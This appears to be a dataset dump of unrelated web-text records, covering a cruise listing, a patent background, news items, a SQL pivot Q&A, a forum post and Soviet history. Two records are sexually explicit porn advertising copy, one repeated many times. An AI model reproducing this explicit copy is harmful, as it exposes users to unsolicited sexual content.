Guaranteed Balcony Stateroom Category BX
Deck 8
Obstructed Oceanview - Category OK
Deck 4
Oceanview Porthole - Category OG
Deck 4
Mid-Ship Oceanview Porthole- Category OF
Deck 5
Oceanview Stateroom- Category OC
Deck 8
Oceanview Stateroom- Category OA
Deck 5
Mid-Ship Oceanview Stateroom-Category OB
Guarantee Mini-Suite - Category MX
Deck 5
Family Oceanview Stateroom -Category O1
Deck 8
Balcony Stateroom- Category BD
Deck 9
Balcony Stateroom - Category BC
Deck 10
Balcony Stateroom - Category BB
Multiple Decks
Family Balcony Stateroom - Category B3
Multiple Decks
Family Balcony Stateroom - Category B2
Multiple Decks
Mid-Ship Balcony Stateroom- Category BA
Deck 11
Mini-Suite - Category MB
Deck 11
Mid-Ship Mini-Suite - Category MA
Multiple Decks
Aft-Facing Balcony Stateroom-Category B1
Deck 11
Aft-Facing Mini-Suite - Category M1
Multiple Decks
Penthouse with Balcony - Category SF
Multiple Decks
Penthouse with Balcony - Category SE
Deck 11
2-Bedroom Family Suite - Category SC
Deck 14
Courtyard Penthouse - Category H5
Deck 14
2-Bedroom Family Villa - Category H4
Multiple Decks
Owner's Suite - Category H3
Please note: All prices featured are per person (unless otherwise stated),
and include non commission fares (taxes, fees and port expenses).
Prices and availability are subject to change due to changes made by the Cruise Companies.
Prices quoted are based on payments made via BPAY or bank transfer.
Visa and Mastercard payments incur a 1.5% transaction fee.
Itinerary
Day 1
Sydney
Depart: Fri, Jan 3, 2020 @ 18:00
Day 2
At Sea
Sat, Jan 4, 2020
Day 3
At Sea
Sun, Jan 5, 2020
Day 4
Cruise Milford Sound
Arrive: Mon, Jan 6, 2020 @ 00:00
Depart: Mon, Jan 6, 2020 @ 00:00
Day 4
Cruise Dusky Sound
Arrive: Mon, Jan 6, 2020 @ 00:00
Depart: Mon, Jan 6, 2020 @ 00:00
Day 4
Cruise Doubtful Sound
Arrive: Mon, Jan 6, 2020 @ 00:00
Depart: Mon, Jan 6, 2020 @ 00:00
Day 5
Dunedin
Arrive: Tue, Jan 7, 2020 @ 09:00
Depart: Tue, Jan 7, 2020 @ 19:00
Day 6
Akaroa
Arrive: Wed, Jan 8, 2020 @ 08:00
Depart: Wed, Jan 8, 2020 @ 18:00
Day 7
Picton
Arrive: Thu, Jan 9, 2020 @ 08:00
Depart: Thu, Jan 9, 2020 @ 16:00
Day 8
Napier
Arrive: Fri, Jan 10, 2020 @ 08:00
Depart: Fri, Jan 10, 2020 @ 16:00
Day 9
Tauranga
Arrive: Sat, Jan 11, 2020 @ 09:15
Depart: Sat, Jan 11, 2020 @ 20:15
Day 10
Bay Of Islands
Arrive: Sun, Jan 12, 2020 @ 08:00
Depart: Sun, Jan 12, 2020 @ 18:00
Day 11
Auckland
Arrive: Mon, Jan 13, 2020 @ 06:00
Onboard experience
Every cruise fare includes beautifully crafted menus in the three main dining rooms, a help-yourself buffet and a variety of casual cafés, grills and on-the-go choices. From fresh-baked breads, desserts and pastries to chefs' original dishes made with the freshest ingredients, your dining can be as fine or fun as you want.
Dining aboard Norwegian is about having choices. Widen your palette further and choose from the specialty restaurants for a cover charge or á la carte. Whether it's a cheeseburger you have a desire for, or Coq au Vin, your dinner is ready when you are. And if you book a Specialty Dining Package, you can savor an array of the specialty restaurants for one special price.
La Cucina
Traditional, tasty and molto italiano. Enjoy pasta with a choice of savory sauces in a casual atmosphere. There are also crispy, fresh salads, pizza, authentic Italian desserts, a fine wine list and espresso drinks to top off the meal.
Moderno
If you're looking for a unique experience, our authentic Brazilian steakhouse is a must. Start with an impressive salad bar of imported cheeses, olives, cured meats, ceviche and specialty salads. Be sure to save room for the delicious skewers of slow-roasted meats including beef, pork, lamb and chicken – all carved tableside by our Pasadores.
Le Bistro French Restaurant
Le Bistro is an ode to all things French. From the art nouveau décor and artwork to the menu which is filled with modern classical and contemporary French gourmet fare.
Cagney's Steakhouse
Steak is the standard at our American-style steakhouse. Sip your favorite cocktail as you select from choice cuts of Certified Angus Beef® perfectly prepared. And don’t forget to order our famous truffle fries.
Teppanyaki Room
Flying shrimp. Onion volcanoes. Twirling knives. The sizzles and surprises never cease at our authentic Japanese Hibachi restaurant. Sit around a lively shared table as a skillful chef slices, chops and grills steak, seafood and chicken on a large steel grill right before your eyes. Our chilled, sake-infused Wasabi Cocktail will have you flipping too.
Sushi & Sake Bar
Chin Chin Asian Restaurant also has a Sushi and Sake Bar where you can enjoy the very best sushi and sake expertly prepared as you watch.
Carlo's Bake Shop
Enjoy delicious cannoli and cupcakes from Carlo’s Bake Shop by Buddy Valastro, star of TLC’s Cake Boss and Next Great Baker, available in the Atrium Café & Bar.
Bars and Lounges
Atrium Cafe and Bar - Deck 7
For that double, vanilla, extra hot latte with extra foam, the Java Café is at your service with a wide variety of specialty coffees, teas, pastries and cookies.
Bliss Ultra Lounge - Deck 7
Offers late-night entertainment in a modern and upscale setting, with more intimate seating available.
The Pit Stop - Deck 12
Drawing inspiration from the 1950’s, The Pit Stop is an all-American bar retrofitted with vintage licence plates, gas station signage and other classic car elements of the era.
Magnum's Champagne & Wine Bar - Deck 6Some moments just call for champagne. And this is the place to enjoy it. Magnum's features a French Art Deco motif combined with elements that reflect the grand old cruise liner Normandie.
Maltings Beer & Whiskey Bar - Deck 6Inspired by the lobby bar from the Mandarin Oriental in London, this contemporary full bar has low lounges and tables with the perfect hint of mood lighting.
Sake Bar - Deck 7
Full sake bar within Chin Chin Asian Restaurant.
Shakers Martini & Cocktail Bar - Deck 7How do you like your martini? Shaken, not stirred? Of course you do. James Bond silhouettes reflect from a screen behind the bar in this Art Deco inspired ode to the 1960's and 70's.
Spinnaker Lounge - Deck 13Horizontal windows in the floor allow you to look down on the bridge. At night, the atmosphere is charged when the music comes up and the stage becomes a dance floor.
Sugarcane Mojito Bar Freshly muddled just the way you like, enjoy a refreshing mojito with friends – day or night.
Topsiders Bar & Grill - Deck 12
Located poolside at the Sapphire Pool is Topsiders. This full bar is located in close proximity to ample deck space and hot tubs.
Entertainment
Stardust Theatre
An art nouveau style theatre set against the backdrop of the best of European Art Nouveau. A large art nouveau peacock adorns the main stage curtain and the colors of the peacock adorn the rest of the room.
Norwegian Jewel will feature two new shows – “Rock You Tonight,” and ship exclusive “Velvet,”
Game Shows
Held in Spinnakers or Fyzz Lounge partake in quizzes and a variety of game shows sure to entertain.
Jewel Club Casino
This could be your lucky night! Try your hand at Roulette, Blackjack, Craps and Let It Ride®.
Art Gallery
Stroll through Norwegian Jewel’s Art Gallery of original works for sale by a wide range of well-known artists.
The Library
You'll find a well-stocked selection of things to read with all the elegant trimmings a good library deserves including a stellar view.
Video Arcade
Stop by the video arcade and capture a few aliens, win a car race and fly a jet fighter. *Charges Apply
Internet Café No matter how far you are from home, staying in touch is easy at the Internet Café. *Charges Apply
Card Room
Here is one room where playing games is not just encouraged, it's expected. Find another couple and play bridge or test your skill with chess, checkers and Scrabble.
Kids Club
Splashdown Kid's Club
Get into the zone of fun because Splashdown Kid's Club is just for kids with a wall of windows for viewing, an indoor jungle gym/obstacle course and computer and artist craft area.
Club Underground
This is a cool place where teens can have fun, too. Designed to look and feel like the New York Subway, there's even graffiti on the walls.
Toddlers and Family Area
There is a small paddling pool and play area open to Families with young toddlers.
Spa
Mandara Spa - Deck 12
If being pampered is your idea of a vacation, the Mandara Spa is the place for you. This full service beauty salon and spa offers a wide range of spa treatments to rejuvenate your body and soul.
Spa Thermal Suite - Deck 12
The Thermal Suite offers a unique experience benefiting the mind and body. Feel the weightlessness and total relaxation created by the kneading effect of water in the Thalasso Therapy Pool, or soak in the hot tub with friends for some improved circulation with conversation. Head off to the steam room to soothe joints and alleviate pains. If detox is what you crave, sit down at the sauna to sweat out your cares as your heart and sweat glands work together to purify your body. Then relax and bring your body to temperature with a nap on heated mosaic lounge chairs.
Swimming
Hot Tubs
There are six hot tubs conveniently located. Try them all out or pick your favorite and make relaxing and unwinding a part of your daily regimen.
Sapphire Pools
The main pool on Jewel has a seemingly infinite number of sun beds and deck chairs to choose from. Topsiders Bar, the Sapphire Kid's Pool and a covered hot tubs are all on deck, nearby.
Sapphire Kid's Pool
The Sapphire Kid's Pool features slides and paddling pool. The Sapphire Pool and hot tub are also nearby.
Ship info
As the namesake of our "Jewel Class" cruise ships, you can bet she's got it all. As well as offering some of the largest suites at sea, there are staterooms to accommodate every style. When it comes to entertainment, this ship's filled with excitement: 16 dining options, 13 bars and nightclubs and that's just the beginning. Come aboard and venture into the wild on an Alaska Cruise. Go from scenic views to city views on a Pacific Coastal Cruise. Or travel to stunning beaches and picturesque cobble stone cities on a Mexican Rivera Cruise. Whichever destination you choose, get ready for an adventure of a lifetime!
Frequently asked questions
Cruising is such a great value holiday as your fare includes accommodations, all main meals onboard ship, onboard daytime activities, and night-time entertainment including live stage shows. One reason cruising is good value is because you'll know what most of your holiday will cost before you go. Generally your only extra onboard expenses could be your beverages (though these are sometimes included on luxury ships), optional shore excursions, personal services such as spa treatments, and any purchases at the gift and duty free shops.
All your main meals are included on a cruise. Typically for breakfast, lunch and dinner there is an a la carte option (order from a menu) or a buffet option. There is so much choice available, and the food is excellent. However, your cruise doesn't always just include these 3 main meals. You can in fact eat non-stop for 24 hours a day if you like.
Most cruise lines also offer specialty dining as an alternative option to the main restaurants. There is typically a small cover charge for this. However, the food is well worth it, and the specialty restaurants are normally smaller and more intimate than the main restaurants so they make for a great place to celebrate a special occasion.
The entertainment on board comes in many different styles and formats but is always included in the cruise fare. In the evening there are shows in the main show lounge (except small ship cruising). Typically there are two sessions a night so, depending on your dinner time, you can always catch the show. The style of these shows changes daily. Some nights it will include all of the ship’s entertainment crew with a Las Vegas style production. Other nights there may be a guest entertainer or comedian. There is something for everyone.
The entertainment doesn't stop with the nightly performances. Each night the ship provides a newsletter detailing all the activities that will take place the following day. These activities may include dance classes, arts and crafts, table tennis, live music, tournaments, trivia quizzes, recent release movies, and other deck games and deck parties. The great thing about a cruise is that you can do as much or as little as you like. If your idea of a holiday is sitting back with a good book, you can do that. If you like to be entertained there is no shortage of entertainment.
One of the main reasons for a cruise making such a great family holiday is the “kids club” facilities offered on board, and they are all included in your cruise fare. Typically the kids clubs are broken into 3 different age groups - 3 to 6 years, 7 to 12 years, and 13 – 17 years. In these dedicated children’s facilities they are looked after by trained staff and the facilities are open from 9am – 10pm. Parents can check their children into the “kids club” whenever it suits them. Children love these facilities as it is “their space” aboard the ship.
NB Each cruise line has limited space on board the ship for children as the kids club facilities can cater for a limited number of children, and any child booked onto a cruise has access to the kids club. If you are planning on taking a cruise during the school holidays then you need to book early as the children's space will sell out. Also, while most cruise lines have kids club facilities there are some exceptions (not common) so you should check this at time of booking.
The chances are you will not get seasick. On a cruise most people do not suffer from motion sickness. However, if you are going to get seasick then it is likely to happen in the first 24 hours. If you limit the amount of alcohol you consume and activities you do in the first 24 hours you can reduce the chance of this happening. Another thing you can do is select a midship cabin on a lower deck. A cabin in the middle of the ship (midship) will experience the least amount of movement.
There are a number of other precautions/medications you can take, and these can be purchased before you travel at a pharmacy or health shop. Otherwise you can buy them on board.
The best thing you can do if you feel seasick is visit the ship’s doctor. They can give you an injection that will give you relief from your seasickness within 30 minutes. You have planned and saved for your holiday, don't ruin it by feeling sick. Visit the doctor for the injection and get it treated straight away. If you have travel insurance then you can claim this back.
IMPORTANT: A visit to the doctor on board will cost you money so we strongly recommend you get travel insurance before you depart on your holiday.
Terms and conditions for this cruise
Frequently Asked Questions
Shore excursions are pre-organised tours & sightseeing options that you purchase on board for when your ship is in a port of call. Every ship has a “Shore Ex” desk with qualified staff who can advise you of different excursions available, what’s best to do and generally help you with information on the particular region your ship is visiting.
Shore excursions can be booked on board your ship however some cruise lines allow you to pre-book and pay for excursions online. If there is a tour you really want to do then we recommend you pre-book it as popular tours do sell out.
Shore excursions are not compulsory, you are free to go ashore and return to the ship as many times as you like.
When you go ashore it is important to note:
You must take your cruise I.D. card (ticket) as proof for re-embarking.
The city or town you are visiting may not be close to the port where the ship is docked, cruise lines normally organise shuttle buses (at a minimal charge) throughout the day to and from the city centre.
You must return to the ship at the stipulated time as the ship WILL NOT wait for late passengers.
Tour costs vary depending on the activity, itinerary and inclusions. There is always a wide variety on offer for all age groups and abilities that can start from as little as $25.
Sometimes you can book your tour, when you arrive at your port, direct from the operator at a much cheaper price. However, this comes with a buyer beware warning. The operators used by the cruise line are trusted professionals so you will not be ripped off. Also, if something goes wrong on your tour, the cruise line knows where you are and will take the necessary steps to pick you up if your vehicle has broken down. In extreme cases they will even hold the ship's departure for you if you are late returning from a tour booked through the ship. They will not wait if you go direct through the operator, as they will not know where you are.
Unlike airlines, there are no luggage restrictions on a cruise. However you need to consider that you need to store it in your cabin for your holiday. There is plenty of storage space in your cabin but if you are travelling in a quad cabin you may want to impose your own restrictions.
NB It is important to remember that airlines have different luggage restrictions, so if you are flying either pre or post cruise then you may want to keep within their allowances.
Cruise lines around the world do not all operate using the same onboard currency. The currency varies from cruise line to cruise line with the most common currency being US dollars. P&O Cruises Australia, Carnival Spirit and the Sun and Dawn Princess all use Australian dollars as their onboard currency.
Cruising is a cashless society which means when you purchase anything on board you do not pay for it in cash. When you board the ship it is like checking into a hotel, you can either give a credit card imprint or the cruise line will take a cash deposit of approximately $300. You are then given a “cruise card”. Your cruise card is your door key (on most ships), has your dinner table number on it (for traditional dining), and it is used for making any purchases aboard.
When you make a purchase with your cruise card, it is swiped and a receipt is printed that you will need to sign. The cost of the purchase is then added to your onboard account which you settle at the end of your cruise.
Many cruises on our websites come with onboard credits. This could be from a special promotion that is being run by the cruise line or because of the relationship we have with the cruise lines that allows us to select certain cruises to receive onboard credit. The amount of onboard credit does normally depend on the length of the cruise.
If your reservation receives onboard credit we will confirm this with you in writing and then your onboard account will automatically be in credit for the amount we have confirmed to you. This credit can be used towards any onboard expenditure that is charged back to your cabin. It is important to note that if you do not spend all of your onboard credit it will not be refunded to you in cash so it is best you spend it all while on board.
Tipping/gratuities are a big issue for a lot of Australasian cruise passengers as it is not our custom to reward good service in this way. What cruise passengers need to consider is that outside of Australasia, the remuneration for personnel in the service industry is quite low. Hence, to keep up a high standard, employees have the incentive of earning additional income via the tips they receive. At the end of the day, how much you tip is up to you.
The most common way cruise lines suggest tipping, is that they add a suggested amount to your daily onboard account. You can choose to keep that on your account or you can ask the purser to remove it. This suggested amount is divided out amongst your cabin steward, your dinner waiter, your assistant waiter, your wine steward, and maitre d’.
Some cruise lines ask passengers to wait until the end of the cruise and they discreetly leave an envelope in your cabin in which to place the appropriate amount. Some cruise lines state that the fare you have paid includes gratuities. Some cruise lines ask that you pre-pay the gratuities with your cruise fare prior to your holiday departure.
Again, the amount you tip is up to you (unless it is prepaid) and it isn't intended to have a negative impact on your holiday. Do what feels most comfortable to you.
The rules surrounding where you can smoke on board a cruise ship vary from cruise line to cruise line. However, none have taken steps to ban smoking completely. Most only allow smoking in designated areas on the open decks. Many have banned smoking on cabin balconies as this poses a fire risk.
Many cruise lines have rules restricting you from taking your own alcohol on board your cruise ship. If you have pre purchased duty free alcohol the ship will take it off you when you board and store it away for you. This alcohol will be delivered to your cabin the night before you disembark. The same applies if you purchase it when you are in port. Any purchases made on board will also be delivered the night before you disembark.
However, Princess Cruises will allow you to bring a bottle of wine aboard which you can drink at dinner or in your cabin.
These restrictions were put in place to create a safer environment on board your cruise ship, where people drink within a controlled drinking environment.
|
{
"pile_set_name": "Pile-CC"
}
|
Computer data storage refers to components, devices, and/or recording media used to retain digital data for periods of time. Various types of computer data storage exist, including memory devices (e.g., semiconductor storage), such as random access memory (RAM) devices and read only memory (ROM) devices, and mass storage devices, such as optical discs and magnetic storage (hard disks, magnetic tapes, etc.), and further types of storage.
A particular computer data storage implementation may be associated with a single computer or may be shared by multiple computers. For instance, a computer system that includes multiple computers may share a large persistent data store that is accessible over a storage network. The persistent data store may include a large number of independent storage units, including an array of hard disk drives and/or flash memory devices. Data may be stored in the data store in various ways. For instance, in one current technique for storing data, multipage units of data may be stored in a data store in the form of “stripes.” A set of storage units that is used to store data stripes may be referred to as a “stripeset.” “Stripesets” that store data in the form of “stripes” enable relatively high performance and high availability to stored data.
Allowing multiple computers to independently write stripes to a stripeset can be difficult to manage, however. For example, if pages of a stripe are written to different storage units independently, it may be difficult to ensure that pages from different stripes are written in the same order to all storage units of the stripeset. If stripes are permitted to be variable length, initial storage units of a stripeset may fill up faster than the last storage units of the stripeset. Furthermore, it may be difficult for the computers to determine an active stripeset at boot time. Still further, it is difficult to manage multiple independent stripesets.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
By now you've probably seen Avengers: Infinity War and have realized that Wakanda isn't in the best of shape. Thanks to T'Challa's (Chadwick Boseman) "dusting" as a part of Thanos' (Josh Brolen) "The Snappening," Wakanda is now without a leader.
With the throne open once again, we'll more than likely see a struggle for power after T'Challa was challenged numerous times in his own movie.
Thanks to some outstanding fan art that recently surfaced on social media, we have a good look of Shuri (Letitia Wright), the rightful heir to the throne.
In the fan art - posted to Instagram by @raichu.copper - we Shuri with her brother's nano-tech suit we saw her create in Black Panther. Not only does she have the suit, the art also shows her wielding the full Infinity Gauntlet.
If Shuri would to take on the Black Panther mantle in the Marvel Cinematic Universe, it wouldn't be the first time she served as ruler of Wakanda.
After first appearing in Black Panther #2 (2005) by Reginald Hudlin and John Romita, Jr., Shuri soon rose the ranks after T'Challa was critically wounded in battle. After going through tests with Bast, the Panther God, she was eventually granted the powers of the Black Panther and ascended to the throne.
Like most things in comics, all good things must come to an end and Shuri soon ceded power back to her brother when he was fit enough to run the country. She eventually sacrificed herself to save Wakanda in a later issue.
Most recently, Shuri was resurrected by writer Ta-Nehishi Coates and artist Brian Steelfreeze on their recent All-New, All-Different run on Black Panther.
What do you think Black Panther fans? Do you want to see Shuri as Queen of Wakanda by the time Avengers 4 rolls around or do you think she'll be challenged by M'Baku (Winston Duke)? Let us know in the comments below!
Avengers: Infinity War is in theaters now. It will be followed by Ant-Man and the Wasp on July 6, 2018, Captain Marvel on March 8, 2019, the fourth Avengers movie on May 3, 2019, the sequel to Spider-Man: Homecoming on July 5, 2019, and Guardians of the Galaxy Vol. 3 in 2020.
|
{
"pile_set_name": "OpenWebText2"
}
|
A new survey shows strong bipartisan support in the US for staying in the Paris climate agreement that formally commits its 193 signatories to reducing greenhouse gas emissions to avert dangerous climate change. The Chicago Council on Global Affairs poll of 2,061 Americans finds that 71 percent agree that the US should participate in the pact, including a majority of Republicans (57 percent), Democrats (87 percent) and Independents (68 percent).
Continue reading below Our Featured Videos
President-elect Donald Trump has previously stated that he believes climate change is a hoax and that he intends to pull the US out of the Paris climate deal as soon as he takes office. However, in a potentially major reversal if he holds to it, Trump told New York Times reporters during a visit to the Midtown Manhattan newsroom that human activity is connected to climate change and that he would keep an open mind on the landmark climate accord.
Related: Al Gore reaches out to work with Donald Trump on climate change
On the link between human activities and climate change, Trump said that “I think there is some connectivity. Some, something. It depends on how much.” And when pressed on the Paris climate deal, Trump said that “I’m looking at it very closely. I have an open mind to it.”
While this is a stunning reversal on his previous positions regarding man-made global warming, it remains to be seen whether Trump will change his policies that currently advocate for more oil, coal and natural gas at a time when many climate experts are warning that we have no carbon budget left and that we must keep remaining hydrocarbon reserves in the ground to sustain a livable climate. Trump’s new stance accepting human-induced climate change also goes against the climate deniers and fossil fuel industry insiders placed on his transition team and cabinet.
The survey’s lead author Dina Smeltz, a senior fellow on public opinion and foreign policy at the Chicago Council, told The Washington Post that “an increasing percentage of Republicans now say that some gradual action should be taken” to address climate change concerns and that the American public “has been growing in their support for mitigating climate change.”
+ Chicago Council survey: Growing support in US for some climate action
Via The Washington Post
Lead image via Wikimedia, others via Wikimedia
|
{
"pile_set_name": "OpenWebText2"
}
|
You and Ana matched on a popular dating app just two days ago. Her first message to you simply read: "Hi, let's fuck." Fair enough - straight to the point. After sending a flurry of dick pics and having Ana bolster the fuck out of your ego, the two of you have arranged to meet up. Today, she's come over to your place for one thing and one thing only. To suck and fuck. Damn dating apps make things easy. Go ahead and grab your Oculus Go and jump into this VR casual encounter with this perky little blonde spinner and blow your load all over her tight pussy.
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
Using dynamic dates in a SQL pivot
I have the below code that works well but I don't want to continue typing in the dates daily.
My dates will always be the last 7 days (including today) - meaning that the table will be purged daily and the new data pull in daily.
select *
from
(
select EMP_ID, EMP_SHORT_NAME, SEG_CODE,
NOM_DATE
from sick_codes_Test$
) src
pivot
(
max(seg_code)
for nom_date in ([2018-07-14], [2018-07-15],[2018-07-16],[2018-07-17],[2018-07-18],
[2018-07-19], [2018-07-20])
) piv
So for "nom_date in" how can I make those dates the dates that will just be in the table?
I tried following along with the following link
https://www.mssqltips.com/sqlservertip/2783/script-to-create-dynamic-pivot-queries-in-sql-server/
But wasn't able to make it work
From following the above URL I came up with this code
DECLARE @columns NVARCHAR(MAX), @sql NVARCHAR(MAX);
SET @columns = N'';
SELECT @columns += N',' + QUOTENAME(NOM_DATE)
FROM sick_codes_Test$
SET @sql = N'
SELECT ' + STUFF(@columns, 1, 2, '') + '
FROM
(
SELECT EMP_ID, EMP_SHORT_NAME, SEG_CODE
from sick_codes_Test$
) AS j
PIVOT
(
max(seg_code) FOR nom_date IN ('
+ STUFF(REPLACE(@columns, ', [', ',['), 1, 1, '')
+ ')
) AS p;';
PRINT @sql;
EXEC sp_executesql @sql;
Any help would be greatly appreciated.
A:
After more digging around I think I found a possible solution but after running the below I seeing the EMP_ID being duplicated.
DECLARE @DynamicPivotQuery AS NVARCHAR(MAX)
DECLARE @ColumnName AS NVARCHAR(MAX)
--Get distinct values of the PIVOT Column
SELECT @ColumnName= ISNULL(@ColumnName + ',','')
+ QUOTENAME(NOM_DATE)
FROM (SELECT DISTINCT NOM_DATE FROM sick_codes_Test$ ) AS NOM_DATE
order by NOM_DATE ASC
--Prepare the PIVOT query using the dynamic
SET @DynamicPivotQuery =
N'SELECT EMP_ID, EMP_SHORT_NAME, ' + @ColumnName + '
FROM sick_codes_Test$
PIVOT(MAX(SEG_CODE)
FOR NOM_DATE IN (' + @ColumnName + ')) AS PVTTable'
--Execute the Dynamic Pivot Query
EXEC sp_executesql @DynamicPivotQuery
After more modifications I finally found a solution that worked
DECLARE @DynamicPivotQuery AS NVARCHAR(MAX)
DECLARE @ColumnName AS NVARCHAR(MAX)
--Get distinct values of the PIVOT Column
SELECT @ColumnName= ISNULL(@ColumnName + ',','')
+ QUOTENAME(NOM_DATE)
FROM (SELECT DISTINCT NOM_DATE FROM sick_codes_Test$ ) AS NOM_DATE
order by NOM_DATE ASC
--Prepare the PIVOT query using the dynamic
SET @DynamicPivotQuery =
N'SELECT EMP_ID, EMP_SHORT_NAME, ' + @ColumnName + '
FROM (
SELECT DISTINCT EMP_ID,
EMP_SHORT_NAME,
SEG_CODE,
NOM_DATE
FROM sick_codes_Test$
)t
PIVOT(MAX(SEG_CODE)
FOR NOM_DATE IN (' + @ColumnName + ')) AS PVTTable'
--Execute the Dynamic Pivot Query
EXEC sp_executesql @DynamicPivotQuery
|
{
"pile_set_name": "StackExchange"
}
|
Starting my birthday off right! One of only a few days a year where it's acceptable to start drinking in the AM! Haha. What a fantastic beer by the way! Incredible hoppiness with the wheat aftertaste that I love! This is a winner!
I have always kept true to the "now" part of this thread, but was way to busy last night to post the amount of stuff I had to share.
The day started by receiving this from@SanFranJake and @CommanderOfAwesome and having @jzeilinger offer me up a brewery only beer from his neck of the woods.
Then I went here for an IP trade of some limited Ohio stuff with @CaptCleveland. Thanks to him, I now have a BORIS Van Wink.
Listening to some Zeppelin on vinyl courtesy of brewer/DJ Fred
Then Capt., being the cool dude he is, shared this with us all. Great Oden's Raven! That stuff is insanely good
After some grub and good conversation, we headed a few more miles north.
My brothers had never been there. They loved it. Nothing like taking in the smell of that mash while you drink a few beers.
First time I had ever been there when they didn't have Wulver on tap. I made up for it by having the top one on this board. Wow! Please bottle this liquid gold.
Be back later with something new.
|
{
"pile_set_name": "Pile-CC"
}
|
bisexual - found 2116 of 2116 matches in 0.001 sec.
Nude Pregnant Beauties Nude amature pregnant teens videos & pictures pregnant porn teen movies pics Pregnant women are sure sexy and just begging for a hard cock up their big bellies. If you love hot teen pregnant women in hardcore action then this is just the place for you to be! We have compiled the hottest pregnant teen sluts getting down and di...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
HotBisexualVideos :: Horny Bisexuals Fuck Here Here in HotBisexualVideos, we believe that you should have the best of both worlds. That is why we bring you hardcore, high-quality movies and photos of the hottest bisexuals fucking and plainly having one hell of a good time. Enjoy unlimited access to our huge collection of bisexual sex videos and pho...
|
{
"pile_set_name": "Pile-CC"
}
|
02 April 2008
Highly Stratified Classlessness
There was a direct correlation between the allocation of material goods and power or position in the socio-political hierarchy. Below the Soviet elite nobody had many possessions – most people lived in a single pair of clothes – and there was barely enough food for everyone. But in the distribution of even these few goods there was a strict ranking system with infinite gradations between the various categories of employee based on status in the workplace, skill level and experience, and to some extent on geographical location, for rates of pay were better in Moscow and other major cities than they were in the provincial towns and rural areas. Despite its egalitarian image and ideals, this was in fact a highly stratified society. There was a rigid hierarchy of poverty.
Private trade partly compensated for the frequent shortages of the planned economy. People sold and exchanged their household goods at flea markets. If they could afford it, they could buy the produce grown by kolkhoz peasants on their garden allotments and sold at the few remaining urban markets tolerated by the government. People were allowed to sell their furniture and other precious items at the state commission stores, or exchange their jewellery and foreign currency for luxury foodstuffs and consumer goods at the Torgsin shops developed by the regime in the early 1930s to draw out the savings of the population and raise capital for the Five Year Plan. The black market flourished on the margins of the planned economy. Goods unavailable in the state stores were sold at higher prices under the counter, or siphoned off to private traders (bribe-paying friends of the manager) for resale on the black market. To cope with the problems of supply an 'economy of favours' came into operation through small informal networks of patrons and clients (a system known as 'blat'). In many ways the Soviet economy could not have functioned without these private connections. To get anything (a rented room, household goods, a railway ticket, a passport or official papers) required personal contacts – family and kin, colleagues, friends, or friends of friends. The same blackmarket principles were known to operate in Soviet factories and institutions, where many goods and services were supplied and exchanged on the basis of personal contacts and favours. Soviet propaganda portrayed blat as a form of corruption (the aim of rooting out these private networks of patron-client relations assumed an important role in the purges), and this view was shared by many workers, in particular. But most people were ambivalent in their attitude to blat: they recognized that it was not right morally, and certainly not legal, but relied on it, as everybody did, to fulfill their needs and get around a system they knew to be unfair. Without blat it was impossible to live with any comfort in the Soviet Union. As the proverb said: 'One must have, not a hundred roubles, but a hundred friends.'
|
{
"pile_set_name": "Pile-CC"
}
|
Dir. Various, UK, 1899-1983, 236 minsThis collection of cycling-themed shorts makes a nice addition to the BFI’s collections of themed short subjects. The films range from a simple one-minute recording of an elegant gaggle of heavily draped Victorian ladies passing by in a park (“Lady Cyclists”, 1899) to the spirited “It’s a Bike” from 1983 – which feels like the result of a collision between Ian Dury and The Beano. Many...
|
{
"pile_set_name": "Pile-CC"
}
|
GLENDALE, Ariz. — A whirlwind Coyotes offseason that included a complete overhaul of the hockey operations department, staff additions at the scouting and development levels, the creation of an AHL affiliate in Tucson and key free-agent signings will come to a close on Saturday when the Coyotes open the regular season by hosting the Philadelphia Flyers at 6 p.m. at Gila River Arena.
Before we get going, here are 10 more questions to ponder, following up on our 10 questions that preceded training camp.
10. Are all of the rookies here to stay?
